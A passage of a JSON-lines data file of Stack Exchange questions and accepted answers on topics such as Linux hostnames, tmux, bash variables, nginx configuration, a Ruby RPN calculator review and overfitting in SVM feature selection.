                   // <--- line 40while(n != v) //while we are not in the rootscc.add(component) //add the compoennt to the SCC list"  , "title": "Tarjan's Strongly Connected Component algorithm"  , "tags": "algorithms;graphs"  } 
{  "id": "_softwareengineering.95839"  , "question": "I have a client requirement where I need to expose  a web service which takes XML. Client will consume my web service and send XML .This web service need to be async.Could you please suggest any good proven approach ? with advantage / disadvantage"  , "title": "WCF service which takes XML file"  , "tags": "wcf;web services"  } 
{  "id": "_unix.365932"  , "question": "In the few years I've been using Linux as my main system, specifically Fedora, I've always seen my hostname set to just localhost, with the exception of when I connect to some networks and it becomes my IP.  Today I experienced the following behavior which I'm having trouble understanding though.  I set up an Ubuntu installation on another partition of my laptop, setting a computer name / hostname during the Ubuntu install.  When I rebooted back into Fedora though, Fedora had updated my hostname to the name I set in the Ubuntu install.I always thought the hostname was configured and stored on the partition of the distro installation, and indeed the contents of /etc/hostname on Fedora still read localhost.localdomain, but running the hostname command shows the new hostname.  Both installs share an efi boot partition, but are otherwise discrete.  I'm wondering from where and why the Fedora install is reading the new hostname? "  , "title": "What determines the Linux hostname?"  , "tags": "ubuntu;fedora;hostname"  , "accepted_answer": "The hostnameprogram performs a uname syscall, as can be seen from running:strace hostname...uname({sysname=Linux, nodename=my.hostname.com, ...}) = 0...From the uname syscall man page, it says the syscall retrieves the following struct from the kernel:  struct utsname {               char sysname[];    /* Operating system name (e.g., Linux) */               char nodename[];   /* Name within some implementation-defined                                     network */               char release[];    /* Operating system release (e.g., 2.6.28) */               char version[];    /* Operating system version */               char machine[];    /* Hardware identifier */           #ifdef _GNU_SOURCE               char domainname[]; /* NIS or YP domain name */           #endif           };So the domain name comes from the NIS / YP system, if we believe the comment. So more than likely, there may be a NIS / YP service on your network that is trotting back the name to you that is set by the ubuntu OS."  } 
{  "id": "_unix.57623"  , "question": "How can you specify the line where you want tmux's command prompt to appear?I want to see the panes when executing tmux commands that require pane numbers (e.g. join-pane, etc) but as the command prompt is displayed on top of the pane numbers, I have to cancel it, memorize the pane number and type the command again."  , "title": "Specifying tmux command-prompt line"  , "tags": "tmux"  , "accepted_answer": "I think you are confusing two things windows and panes. A window basically fills the whole terminal and is divided into several panes. The status line lists the windows with their numbers and name, which defaults to the name of the program currently running in the active pane in that window. You can modify the status line with set status-left or set status-right and use the #P character sequence, which displays the number of the active pane. However, I'm afraid this is as far as you can get (unless you patch tmux of course)."  } 
{  "id": "_unix.165574"  , "question": "    #!/usr/bin/env bash      if [ $outDir ==  ]    then        echo $PWD ,We are here , $outDir , with          $outDir = $PWD        echo Yes    fiOutput on terminal:/home/Documents/folderName ,We are here , , with ./pipeline.sh: line 28: : command not foundYesI am unable to assign the current directory to $outDir.I tried outDir = $PWD and $outDir=$PWD and $outDir=$PWD , but nothing worked. However, echo $PWD works perfectly fine.Why it doesn't work?"  , "title": "Error while assigning current directory to a variable"  , "tags": "bash;shell script"  , "accepted_answer": "It looks you're trying to assign $PWD to $outDir only in the event that $outDir is unset or of null value, yes?The following is equivalent, I think:printf 'We are here: %s\\n $outDir = %s\\n' \\     $PWD ${outDir:=$PWD}If $outDir is already assigned a value then, for printf's second argument, that prints its value, else it simultaneously assigns the value of $PWD to $outDir and prints it.Of course, though here the ${outDir:=$PWD} variable call self-corrects a null or unset value, it makes no attempt to verify it is actually a directory. The same is true of your check above. And so probably better than either of these is:cd -- ${outDir:=$PWD} || exit; cd - >/dev/nullcd will not only verify that the user's selection for $outDir is correct, it will also print an error if it is not or is not accessible to the user. cd - will just bring you back to where you were before testing with cd in the first place in the event of a successful test. The >/dev/null redirection is just to keep cd - from printing $PWD which it will do when used otherwise.If the user has not assigned $outDir, however, then its value is just assigned to the value of $PWD as before, which implies a successful test and two cd $PWD commands in succession as the - is substituted for $OLDPWD - which is here also $PWD."  } 
{  "id": "_unix.295298"  , "question": "I would like to know how to import a large and complex csproj intoMonoDevelop 5.10 with Ubuntu 16.04 and the ASP.NET addin I tried this method recently ,https://stackoverflow.com/questions/9220290/open-a-csproj-with-monodevelop, where we create a new empty solution and then copy your projects and thier sources into the solution folder, then right click on the solution in the solution explorer and choose Add > Add Existing Project.However this method works fine in production but is cumbersome in development where one is frequently making C# code changes and recompiling.With this method , there are two directory hierarchies and file protection commands such as chmod -R, chown -R and chgrp -R to contend with in order to achieve a build with no errors and runs correctly with mod_mono_server4. Furthermore, Monodevelop pc files must be pointed at the imported project's directory tree with absolute pathnames which have to be changedfor each programmer's home directory.I tried installing Monodevelop pc files with relative pathnames into /usr/lib/pkgconfig to no avail today. The problem is that one has to delete all the existing csproj Hint Paths first and reenter them manually in the csproj corresponding to the host project directory tree.Another problem with MonoDevelop is that after it is successfully compiled, one has to reboot the Ubuntu 16.04 box every time.My question is how to simplify this method to reduce the time consuming and the error prone aspects of it.Any help is greatly appreciated. "  , "title": "How to import a large and complex csproj into MonoDevelop 5.10 with Ubuntu 16.04 and the ASP.NET addin?"  , "tags": "ubuntu;mono"  } 
{  "id": "_unix.125227"  , "question": "OS: Funtoo.I have bound NGINX to port 81 (I want to run it alongside my Apache server for a short time for ease of transition), and it listens at the port (If I point at another port, using wget I get Connection refused, but using port 81 I get connected) but it never serves an HTML response of any kind!When running a wget on the port, from the localhost, I get:# wget localhost:81-2014-04-16 23:56:45- http://localhost:81/Resolving localhost... 127.0.0.1Connecting to localhost|127.0.0.1|:81... connected.HTTP request sent, awaiting response...On another computer...$ wget 192.168.18.42:81-2014-04-16 23:57:19- http://192.168.18.42:81/Connecting to 192.168.18.42:81... connected.HTTP request sent, awaiting response...Nothing ever happens after that. The documents exist, it's the normal Funtoo nginx.conf.UPDATE: I can make it listen to port 80, but it still rattles me that I can't get it to work on any port....netstat -aWn | grep 81 | grep LISTENtcp 60 0 0.0.0.0:81 0.0.0.0:* LISTENEdit:Configuration files:user nginx nginx;worker_rlimit_nofile 6400;error_log /var/log/nginx/error_log info;events {    worker_connections 1024;    use epoll;}http {    include /etc/nginx/mime.types;    # This causes files with an unknown MIME type to trigger a download action in the browser:    default_type application/octet-stream;    log_format main        '$remote_addr - $remote_user [$time_local] '        '$request $status $bytes_sent '        '$http_referer $http_user_agent '        '$gzip_ratio';    client_max_body_size 64m;    # Don't follow symlink if the symlink's owner is not the target owner.    disable_symlinks if_not_owner;    server_tokens off;    ignore_invalid_headers on;    gzip off;    gzip_vary on;    gzip_types text/plain text/css application/json application/x-javascript text/xml application/xml application/xml+rss text/javascript application/javascript text/x-js image/x-icon image/bmp;    sendfile on;    tcp_nopush on;    tcp_nodelay on;    index index.html;    include /etc/nginx/sites-enabled/*;}Server block:server {    listen  *:81;    root    /usr/share/nginx/html;    location / {        index   index.html;    }}"  , "title": "Nginx listens at a port, only responds if set to port 80"  , "tags": "configuration;nginx;funtoo"  , "accepted_answer": "Turns out the big problem? Nginx had set worker_processes to 0. I added a line setting it to auto in the top of my nginx.conf, and all was well with the world!Thank you all for your time and patience."  } 
{  "id": "_webapps.90804"  , "question": "So if somebody retweets something on Twitter and you click to view it, but click onto the original account that tweeted it and like it from there, will the person who retweeted it get a notification?"  , "title": "Can people see that you've liked their retweet on Twitter?"  , "tags": "twitter;retweet"  } 
{  "id": "_codereview.91235"  , "question": "While writing this review, I edited the  code until it became something quite different from the original.  In addition to the issues I mentioned, I ended up adding features:More operators / commands, including trigonometry in degree and radian modes.Support for multiple commands on a line, separated by whitespace.  Each line is transactional: if any part fails, the stack remains unchanged.A rudimentary help system, while maintaining a spartan interface.Readline support with tab completion when running in a TTY, and a quiet mode for accepting input from a pipe.Concerns:I overrode Array#dup to do something completely different.In interactive mode, I want all output on stdout. In non-interactive mode, I want only the real output on stdout, and only critical error messages on stderr. The switching mechanism for the two modes seems cumbersome.require 'readline'# Mixin for an Arraymodule RPNOperators  def +; push(pop + pop); end  def -; push(-pop + pop); end  def *; push(pop * pop); end  def /; push(1.0 / pop * pop); end  def ^; x = pop; push(pop ** x); end  def deg(quiet=false)    @conv = Math::PI / 180    info 'In degree mode. (Use the rad command to switch to radian mode)' unless quiet  end  def rad(quiet=false)    @conv = 1.0    info 'In radian mode. (Use the deg command to switch to degree mode)' unless quiet  end  def pi;       push(Math::PI); end  def cos;      push(Math.cos(pop * @conv)); end  def sin;      push(Math.sin(pop * @conv)); end  def tan;      push(Math.tan(pop * @conv)); end  def acos;     push(Math.acos(pop) / @conv); end  def asin;     push(Math.asin(pop) / @conv); end  def atan;     push(Math.atan(pop) / @conv); end  def e;        push(Math::E); end  def chs;      push(-pop); end  def inv;      push(1.0 / pop); end  def cbrt;     push(Math::cbrt(pop)); end  def sqrt;     push(Math::sqrt(pop)); end  def ln;       push(Math::log(pop)); end  def log;      push(Math::log10(pop)); end  def clear;    super; end  def drop;     pop; end  def dup;      x = pop; push(x); push(x); end  def roll;     unshift(pop); end  def rolld;    push(shift); end  def swap;     x = pop; y = pop; push(x); push(y); end  def quit    throw :quit  end  def help(stream=$stdout)    stream.puts Available commands:    stream.puts RPNOperators.public_instance_methods.join(' ')    stream.puts    if deg? then deg else rad end  end  private  def deg?;     @conv != 1.0; end  def rad?;     @conv == 1.0; end  def info(s)    puts s  endendclass RPNCalculator  class InvalidCommand < Exception; end  class StackUnderflowError < Exception; end  class Stack < Array    include RPNOperators    def initialize(*args)      super      rad(true)    end    def pop(*n)      raise StackUnderflowError.new if (n[0] || 1) > size      super    end    def shift(*n)      raise StackUnderflowError.new if (n[0] || 1) > size      super    end  end  def initialize    @stack = Stack.new    Readline.completion_proc = proc do |s|      available_commands.grep(/^#{Regexp.escape(s)}/)    end  end  def run    catch(:quit) do      loop do        case input = prompt('> ')        when nil          throw :quit        when /\\s/          command(*input.split(/\\s+/))        else          command(input)        end      end    end    raise @error if @error  end  def command(*cmds)    error_stream = $stdin.tty? ? $stdout : $stderr    last_command = nil    begin      transaction do        cmds.each do |cmd|          last_command = cmd          case cmd          when /\\A[+-]?\\d*\\.?\\d+\\Z/            @stack.push(cmd.to_f)          else            if available_commands.include?(cmd)              @stack.send(cmd.to_sym)            else              raise InvalidCommand.new            end          end        end      end    rescue InvalidCommand      error_stream.puts Invalid input: \\#{last_command}\\      @stack.help(error_stream)      error_stream.puts      error_stream.puts Stack (top to bottom):    rescue StackUnderflowError      error_stream.puts #{last_command}: not enough operands    rescue Exception => e      error_stream.puts e    end    display  end  def available_commands    @available_cmds ||= RPNOperators.public_instance_methods(false).map { |sym| sym.to_s }  end  private  def prompt(s)    input = $stdin.tty? ? Readline.readline(s, true) : gets    input.nil? ? nil : input.strip  end  def display    puts @stack.reverse.map { |n| '%-8g' % n }.join('    ')  end  def transaction    begin      # Can't use @stack.dup, which has been overridden to do something else!      saved_stack = @stack.clone      @error = nil      yield    rescue Exception => e      @error = e      @stack = saved_stack      raise    end  endendbegin  RPNCalculator.new.runrescue Exception  exit(1)end"  , "title": "RPN calculator with interactive and non-interactive modes"  , "tags": "ruby;error handling;console;calculator"  , "accepted_answer": "Neat! I'm digging the dual TTY/pipe support, although it does introduce some complexity. My gut feeling is that I'd probably prefer a calculator object that is agnostic about the source of its input and the destination of its output, but which can be subclassed as necessary.But you've chosen this direction, and I'm not saying the alternative would necessarily be nicer, so I'll take it as given, and focus on the internals.Between RPNOperators and Stack's own methods do you even need to subclass Array? Or would it be neater to simply let Stack be a plain object that wraps an array? I'm only asking because subclassing array means Stack inherits a lot of methods, not all of which are necessarily desirable.  But it's your call; the argument can be made either way. Personally, I just prefer specialized APIs and object composition, to crowded APIs caused by subclassing very generic classes like Array. But it's as much opinion as anything.A compromise might be to wrap the array, and use Forwardable to delegate relevant methods to it with minimal hassle. No need to duplicate the Array methods that you do want.In any event, not subclassing Array would of course avoid (most) violations of the Liskov principle. You'd still be overriding #dup from Object, but you'd avoid overriding #+, #-, and #* from Array.Stack#pop and Stack#shiftInstead of making them variadic, it'd be nicer to define the parameter of each with a default value (n = 1), since that's what appears to be intended. And the super methods aren't variadic either.Edit: I was wrong here. As pointed out in the comments, passing an argument to Array#pop causes it to always return an array, even if n = 1. So Array#pop is actually 0-1 variadic, but the closest you can get is to make a 0-n variadic. So, with that in mind, I'll instead recommend n.first instead of n[0] - just to still recommend something :)Also, note that super will still complain if more than 1 argument is passed.Readline.completion_procYou could do available_commands.select { |cmd| cmd.start_with?(s) } - seems more straightforward to me than interpolating a regex with an escaped string.#commandThis is a rather large method. A lot of is of course the exception handling, but it's also got a lot of nesting.One thing you might do right away is to pull the if..else out of the case statement's own else branch:case cmdwhen /\\A[+-]?\\d*\\.?\\d+\\Z/ # Use a named constant instead?  @stack.push(cmd.to_f)when *available_commands  # splat!  @stack.send(cmd.to_sym)else  raise InvalidCommand.newendI'd also suggest making your custom exception classes take a constructor argument (or several), so you can pass the invalid command and possibly other pieces of state along with the exception, rather than rely on the local last_command variable. (You could also be cheeky and do raise cmd, and then do rescue RuntimeError => failed_command, but that's pretty hacky.)You can also avoid a level of nesting since rescue statements don't need to be in an explicit begin...end block, and you have ensure:def command(*cmds)  # ...rescue InvalidCommand  # ...rescue StackUnderflowError  # ...rescue Exception => e  # ...ensure  displayendLastly, and this is just because I like short methods, you could extract the meat (the case statement) into a private #eval_command (or something) method, so the transaction block becomes just:transaction do  cmds.each(&method(:eval_command))endException classesJust a minor naming thing, but I'd either drop the -Error suffix from StackUnderflowError or add it to InvalidCommand, just to keep them consistent.stdout/stderrUnless I'm mistaken, $stdin.tty? isn't likely to change during the lifetime of an RPNCalculator object. So you could set the output and error streams as instance variables in the constructor.  You could also add a (private) #warn method which would shadow the global Object#warn, writing to either stderr or stdout as necessary. It would let you call the more symmetrical methods puts and warn, instead of puts and error_stream.puts.#available_commandsTiny, tiny thing, but .map { |sym| sym.to_s } can be just .map(&:to_s).Overriding #dupAs mentioned, you can't completely avoid overriding a #dup method because your class will always inherit it from Object. Though I suppose you call the command something other than dup and solve the problem that way ;)"  } 
{  "id": "_softwareengineering.69050"  , "question": "I have been writing code so far in conventional text editors that come with the OS so far or use an IDE in some cases. I know there are some advanced text editors like Emacs and Vim available solely for the purpose of coders. How important are they really? Should a programmer dealing with PHP, Python etc. learn these editors? What are the advantages that they provide over conventional editors like Notepad++, Scribes etc.?"  , "title": "Must a programmer learn text editors like Emacs and Vim? How important are they?"  , "tags": "programming practices;text editor;vim;emacs;developer tools"  , "accepted_answer": "Vim is a really good tool once you familiarize yourself with it.It starts up faster than any IDE or text editor I've used, and it has syntax highlighting and it indents the code correctly in most cases.It also helps you focus on the coding process itself, you won't be using the mouse at all to deal with it, that'll save you a lot of time when you're just writing code.It has a wealth of plugins for whatever it is you're doing, as well.I haven't used emacs to be honest, but I'm sure there are people here who like it, I personally don't like having to press Ctrl or Alt all the time.EditVim's usefulness also depends on what you're writing.If you're an API developer (Java, C#...etc) you'll most probably be more comfortable with an IDE.But if you write scripts (Bash, Perl...etc), Vim might be the way to go, since you need to write something fast, Vim is fast, and does everything you need."  } 
{  "id": "_cstheory.22191"  , "question": "Many top notch computer science researchers and research groups) maintain active blogs that keep us updated on the latest research in the authors' fields of interest.  In most cases, blog posts are easier to understand than formal papers, because they omit most of the gory technical details and emphasize intuition (which papers generally omit).Thus, it would be useful to have a list of recommended blogs, in the same spirit as other lists of recommended resources:What papers should everyone read?What books should everyone read?What are the recent TCS books whose drafts are available online?What videos should everybody watch?What lecture notes should everyone read?Of course one can follow the excellent Theory of Computing Blog Aggregator, but that list is rather overwhelming, especially for beginners.Please highlight why you recommend them."  , "title": "What CS blogs should everyone read?"  , "tags": "soft question"  } 
{  "id": "_unix.23887"  , "question": "A brief introduction to my question: the command ps will print the information of system processes.But when I login as root and change the permission x of pschmod -x /bin/pschmod u+x /bin/psls -l /bin/ps -rwxr--r-- 1 root root ...... psThen I create a new shell script file call_ps_via_root.sh#!/bin/bashpsand set the x permissionchmod +x /bin/call_ps_via_root.shls -l /bin/call_ps_via_root.sh-rwxr-xr-x 1 root root ...... call_ps_via_root.shAfter this, I login with a normal user sammy, and I type ps, it will print Permission deniedand I type /bin/call_ps_via_root.sh It is still denied. How can I make it work by call_ps_via_root.sh?"  , "title": "Call 'ps' as a normal user in Linux"  , "tags": "linux;permissions;ps"  , "accepted_answer": "You can't: if you make /bin/ps only executable by root, it will be only executable by root. You can't just wrap a script around it to bypass the permission check.set-user-idIf you want that a normal user calls ps as root you have to look at the set-uid permission. From the setuid article on Wikipedia:setuid and setgid (short for set user ID upon execution and set  group ID upon execution, respectively)1 are Unix access rights  flags that allow users to run an executable with the permissions of  the executable's owner or group. They are often used to allow users on  a computer system to run programs with temporarily elevated privileges  in order to perform a specific task. While the assumed user id or  group id privileges provided are not always elevated, at a minimum  they are specific.See also the man page of chmodsudoIf instead you want a normal user to execute something executable by root only use sudo. It will allow you to configure which user will be able to execute what."  } 
{  "id": "_softwareengineering.348023"  , "question": "Suppose you're building an MVC web application in ASP.NET, and you have to display some formatted text.  A very simple example might be:Click any of the links below, or click here to cancel.  Contact Customer Service with any questions.What do you store in the resource file, and what do you code inline in your view?For example, do you hardcode the target of the link in the resource?  Or do you put {0} and populate it with string.Format in the View? Or store the link text as a separate resource and put the markup in the View, including the target?What if the instructions are long, and need to be displayed in a tabular format?  Do you put the <TABLE> <TR> and <TD> tags into the resource? Or do you have to put those tags in your View and create resources for each cell?If you put HTML markup in some of your resources, you have to dodge the automatic HTML-escape mechanism employed by Razor (e.g. use Html.Raw). How do you remember which resources can be inserted directly and which need to be unescaped? Do you keep formatted resources in a separate resource file? Use a naming convention? Cross your fingers?Bottom line: How do you deal with the common requirement of formatting part of a resource?"  , "title": "How do you format part of a resource?"  , "tags": "c#;mvc;asp.net;resources;globalization"  } 
{  "id": "_unix.203707"  , "question": "Hi I want to be able to edit the list of name like this using either AWK or SED.Sample input list file:johnpaulroselilyDesired output:I am john of earth;I am paul of earth;I am rose of earth;I am lily of earth;I want the semicolons at the end too. i don't want to use shell scripts of for loops."  , "title": "Add string to list using either AWK or SED?"  , "tags": "sed;awk;gawk"  , "accepted_answer": "Using sed:$ sed 's/.*/I am & of earth;/' file.txt I am john of earth;I am paul of earth;I am rose of earth;I am lily of earth;"  } 
{  "id": "_webmaster.774"  , "question": "In response to my domain name suggestion on meta, Kris said:Something about having a domain name begin with a digit just feels ... off  to me.Does it affect site ranks on search engines? Do you think people will be less likely to visit it?Is this just a programmer response, since most variable names can't start with a digit?"  , "title": "Are there any downsides to starting a domain name with a digit?"  , "tags": "seo;domains"  , "accepted_answer": "Well, the people at 37signals or 7dana might disagree with that. If it makes sense to use a number at the start of the domain, use it. If not ... don't. I'd surely hate to type out one-hundred-and-one-dalmations, when 101dalmations would do just fine :)I think the key here is to avoid nonsensical domains altogether, i.e. something like '303wee' when in fact you are selling designer handbags.I don't think its going to effect your ranking any more or any less than any other bad name that did not start with a number. A bad name is just a bad name regardless."  } 
{  "id": "_hardwarecs.1434"  , "question": "In this question I received the response to which graphics model should I go with. Now, as I started calculating using this decibel calculator, the fact that I am trying to buy quiet 8.9 dB fans (total = 20.9 dB) will be negligable if a graphics card will generate 36 dB (which is what I found here) - than the total noise will be 37.081 dB.However, on Tomshardware I found this to be more nuanced, but also incomplete (no MSI card).What graphics card manufacturer would you recommend for GTX960 noise-wise, provided the price differences are negligible? Or maybe there are other considerations under 250$ for gaming setup (i5-6500, 8GB ram, 240GB SDD, 4 140mm fans, MSI170 pro gaming mobo, 1280 x 1024 res) that are significantly quieter?[EDIT]I am aware of 'silent mode', where fans turn off on idle, which is apparently implemented by all manufacturers in GTX 960 (source). The question is about the fan noise under load."  , "title": "Graphics card with quiet fans"  , "tags": "gaming;graphics cards;quiet computing"  , "accepted_answer": "So after the extended research I found the following evidence:10 minutes of constant load test by Toms Hardware :Asus Strix GeForce GTX 960: 35 dBEVGA GeForce GTX 960 SSC: 35 dBZOTAC AMP! GeForce GTX 960: 36.5 dBMSI Gaming 2G GeForce GTX 960: 34 dBAnd the rest of makes in yet another Toms Hardware test:Asus GTX 960 StriX OC: 35.8 dBGainward GTX 960 Phantom OC: 35.9 dBGalax/KFA GTX 960 EX OC: 36.2 dBGigabyte GTX 960 WindForce OC: 35.8 dBGigabyte GTX 960 Gaming G1: 34.6 dBinno3D GTX 960 iChill: 36.4 dBPalit GTX 960 Super JetStream: 36.6 dBFrom the above I conclude, that the quietest card is MSI Gaming 2G GeForce GTX 960 and Gigabyte GTX 960 Gaming G1, because it's hard to compre between tests."  } 
{  "id": "_softwareengineering.300473"  , "question": "I want to create a little GPS tracking program. Simplified: Users can create Tracks.To make things scale Track and User are two separate AR's. Track contains an AuthorUser which it refers to by UserID.The following rules apply:A User can create an unlimited amount of Tracks. Users can be removed from the system. In that case all the created Tracks of the User need to be removed.I want to use DDD+ES for this. Knowing the AR's can only be created/loaded by ID, how should I delete/modify all Tracks when a UserRemovedEvent is triggered?Please note the query model is completely decoupled and might lag in time since it is async event-based updated."  , "title": "How to query Aggregate Root to react to event from other AR"  , "tags": "cqrs;event sourcing"  } 
{  "id": "_webapps.56575"  , "question": "Here is what the normal profile picture in Facebook chat looks like:But what or why is the little bit of blur showing on the profile picture (not the speech balloon with dots) in this next image? I'm using the Facebook chat on Windows 7 desktop and it's on the profile picture on the chat icon.It sometimes happens and sometimes doesn't. I think it started to occur recently over the past week or so.I'm not sure what they're doing when it happens, but I believe it lasts until the user is done typing."  , "title": "Facebook chat profile picture (next to the speech bubble icon with dots) is showing up blurred"  , "tags": "facebook;facebook chat"  } 
{  "id": "_unix.117790"  , "question": "If I select text in my terminal (in my case urxvt) and then click with the middle mouse button into an emacs window (GTK), it pastes the selected text from terminal. Since I don't want this behaviour for the middle mouse button I usually add this to my .emacs file:(define-key global-map [mouse-2] nil)However then I am not able to paste text from a terminal at all. So how can I fix this (for example that a selection from a terminal is inserted by C-y)?This worked in my old box but since upgrading to ubuntu 13.10 and emacs24 it doesn't. So it must be possible, but I don't know how to."  , "title": "Howto copy and text from termial to (GTK-)emacs?"  , "tags": "emacs;clipboard"  , "accepted_answer": "From the Emacs manual, section 12.3.1 Using the Clipboard:Prior to Emacs 24, the kill and yank commands used the primary selection, not the clipboard. If you prefer this behavior, change x-select-enable-clipboard to nil, x-select-enable-primary to t, and mouse-drag-copy-region to t. In this case, you can use the following commands to act explicitly on the clipboard: clipboard-kill-region kills the region and saves it to the clipboard; clipboard-kill-ring-save copies the region to the kill ring and saves it to the clipboard; and clipboard-yank yanks the contents of the clipboard at point. The key setting you want is x-select-enable-primary to t.  You can also use a mix of the settings described there, depending on exactly what behavior you like."  } 
{  "id": "_datascience.13277"  , "question": "I have applied the sequential forward selection to my dataset having 214 samples and 515 features (2 class problem). The feature selection algorithm has selected 8 features. Now I have applied the svm (MATLAB) on these 8 features. I have also tried to see the performance after adding more features. The table given below gives the correct rate of the algorithm (training data set) along with the feature set used. The result obtained is:8 features = 0.939210 features = 0.943912 features = 0.967214 features = 0.967216 features = 0.9626 18 features = 0.976620 features = 0.9672 As visible, the accuracy seems to increase. Is it because of over fitting? Should I use the default feature set as given by the sequentialfs function of Matlab or should I force it to deliver more features to get more accuracy?I have uploaded the validation training and testing performance (70-15-15). Now can you tell me if my data is being over-fitted or not?"  , "title": "Is there a problem of over fitting in my dataset?"  , "tags": "feature selection;svm;matlab;overfitting"  , "accepted_answer": "It is not possible to tell whether a machine learning algorithm is overfitting based purely on the training set accuracy. You could be right, that using more features with a small data set increases sampling error and reduces the generalisation of the SVM model you are building. It is a valid concern, but you cannot say that for sure with only this worry and the training accuracy to look at.The usual solution to this is to keep some data aside to test your model. When you see a high training accuracy, but a low test accuracy, that is a classic sign of over-fitting. Often you are searching for the best hyper-parameters to your model. In your case you are trying to discover the best number of features to use. When you start to do that, you will need to make multiple tests in order to pick the best hyper-parameter values. At that point, a single test set becomes weaker measure of true generalisation (because you have had several attempts and picked best value - just by selection process you will tend to over-estimate the generalisation). So it is common practice to split the data three ways - training set, cross-validation set and test set. The cross-validation set is used to check accuracy as you change the parameters of your model, you pick the best results and then finally use the test set to measure accuracy of your best model. A common split ratio for this purpose is 60/20/20.Taking a pragmatic approach when using the train/cv/test split, it matters less that you are over or under fitting than simply getting the best result you can with your data and model class. You can use the feedback on whether you are over-fitting (high training accuracy, low cv accuracy) in order to change model parameters  - increase regularisation when you are over-fitting for example.When there are a small number of examples, as in your case, then the cv accuracy measure is going to vary a lot depending on which items are in the cv set. This makes it hard to pick best hyper-params, because it may just be noise in the data that makes one choice better than another. To reduce the impact of this, you can use k-fold cross-validation - splitting your train/cv data multiple times and taking an average measure of the accuracy (or whatever metric you want to maximise).In your confusion matrices, there is no evidence of over-fitting. A training accuracy of 100%* and testing accuracy of 93.8% are suggestive of some degree of over-fit, but the sample size is too low to read anything into it. You should bear in mind that balance between over- and under- fit is very narrow and most models will do one or the other to some degree. * A training accuracy of 100% is nearly always suggestive of overfit. Matched with e.g. 99% test accuracy, you may not be too concerned. The question is at worst could I do better by increasing regularisation a little? However, matched with ~60% test accuracy it is clear you have actually overfit - even then you might be forced to accept the situation if that's the best you could achieve after trying many different hyperparameter values (including some attempts with increased regularisation)."  } 
{  "id": "_unix.267614"  , "question": "Let's say I have,On screen 1:workspace A: a web browser, extended (not full-screened with F11, just maxed out).workspace B: a terminal with Vi for example.On screen 2:a web browser, full-screened.When I switch, with Ctrl+Alt+or, from workspace A to workspace B on screen 1, my cursor switch to screen 2 if, and only if, I have something full-screened.I lose my cursor focus and it's annoying when I'm editing a file with Vi, while watching a video in full screen on my second screen, check something on chrome and go back to my Vi instance as what I type is now typed on my chrome instance on my other screen.Is it possible to force my cursor to stay on my first screen when I have a full-screened window in my second screen?I'm on Debian Jessie and Gnome 3."  , "title": "How to keep my cursor focus when switching of workspace if I have a fullscreened window on another screen?"  , "tags": "debian;gnome;workspaces;fullscreen"  } 
{  "id": "_unix.125706"  , "question": "I'm having problems with yum and I am trying to re-install it. I've download yum.3.2.0-40-el6.centos.noarch.rpm.When I try:$ rpm -ivh yum.3.2.0-40-el6.centos.noarch.rpmI get:error: can't create transaction lock on /var/lib/rpm/.rpm.lock (Permission denied)I tried running su - and I'm getting this error:-bash: su: command not found`I get the same permission denied error if I try to uninstall yum and force ignore dependencies (without forcing to ignore dependencies, it fails uninstall with a few dependencies)."  , "title": "why can't I install packages with rpm? I get transaction lock"  , "tags": "centos;yum;root;rpm"  } 
{  "id": "_cogsci.15193"  , "question": "As there is evidence of massive-scale emotional contagion through social networks, I'd like to know if any study has been made regarding predictive keyboards.Given the popularity of predictive keyboards in the mobile space, I would say that there is a good chance that similar effect can be measured.Such keyboards come with pre-trained models that usually adapt to the user's behavior, even faster if it has the grants and features to analyze previous user written content. I believe that it can lead to self feeding spirals on the psychological side and, depending on the age group, neurological effects but I would like to know what has been researched already.The question on the title is meant to be a focused starting point as, depending on the answer I would have the vocabulary to actually make many others (some probably very obvious given the above mentioned)."  , "title": "Is there any study about the impact on the continuous use of predictive keyboard by neurologically and psychologically health individuals?"  , "tags": "social psychology;cognitive neuroscience;emotion;experimental psychology;computational modeling"  } 
{  "id": "_softwareengineering.135910"  , "question": "First of all, is not a programming matter, is a programmer afair.I'm the new web programmer in my company.I'm here just for 2 weeks. And they want me to teach Wordpress, configure & install it, and things like that.But they have a intranet too to make all the compatibility stuff, tracking clients, ordering event, auto-emailing.Well, the intranet is very nice, and they spent 1 or 2 years with a programmer to do that.But the problem is:The intranet is great for the user (a bad UI experience but works well).They have it from 4 or 5 years now.But if you go to the code, it is annoying.Seriously, it's really really really heavy, code duplicated, insecure. All works ok, but all is wrong in code view.Some points:The site keeps 4GB of disk space (without DB!)There where thousands of files, folders, with no orderA lot of files are duplicatedThere were, at least, 20-40 files you have to configure to change the database sourceSome config files are in .ini, so i can download from anywhereThe sites was coded for 4.0 or 3.x, miraculously it works on 5.x with some warnings.The site was coded without any kind of scalability, they just copy and paste files and keep working, no includes, nothing.For example: I see, at least 40 files called check_in.php in different folders.Functions called: paste() paste_2()...What points you will use to convince your boss to take care of that and refactor all the whole site?It's a pain in the ass. I know refactor all gonna be hard, but I think it's the better way to continue my work.Because they want me to make modifications on that and I have to spent 3 hours just to understand from where comes that **** function called paste() and what exactly do.Ah, one more good point.There's no documentation at all."  , "title": "How to explain your non-programmer boss you need to refactor a whole site?"  , "tags": "php;refactoring"  , "accepted_answer": "The amount of change one should effect is contentious. What happens if you decide on a 'big bang' approach, estimate that it should take two months to refactor completely, and end up taking six? I'm not questioning your competence - it's just that projects like these can easily spiral out of control.You could make a case for a gentle, iterative refactoring. So maybe you take a day to centralise the configuration files, and then move to other projects. Then two weeks later, you add autoloading. Get small changes live each time, and then wait for a bit for them to bed in. This way you remain productive on new projects, whilst slowly improving your codebase.You should do these things on a separate branch, and if there are other tech people that your changes will touch (programmers, dbas, etc) then get them to buy into your changes before you do them."  } 
{  "id": "_unix.93658"  , "question": "What does ; mean in single line scripts like this:while true; do sudo -n true; sleep 60; kill -0 '$$' || exit; done 2>/dev/null &Does it mean new line, or next command?"  , "title": "What is the use of ; in a single line command?"  , "tags": "bash;shell;command line;bash script"  , "accepted_answer": "It's a separator of commands. Though in the first instance, it might be better to think of it as ending the while statement.For example, if you wanted to do a loop while some command returns success, you would do something likewhile test -f /foo; do some_command; done`The semicolon is used to indicate the end of the arguments to test. Otherwise it would think that do is another argument to test.However you can use newlines instead of the semicolon. The following would be exactly equivalent to the example above, just without any semicolonswhile test -f /foodosome_commanddoneIn fact with bash, if you run the above command, and then after it finishes (or you CTRL+C it), if you go back in history (up arrow keys or whatnot), you'll notice it replaces the multi-line command with one using semicolons instead.So yes, the syntax for things like if and while break normal shell behavior.I've personally always thought the syntax is weird, as the do looks strange. But you get used to it."  } 
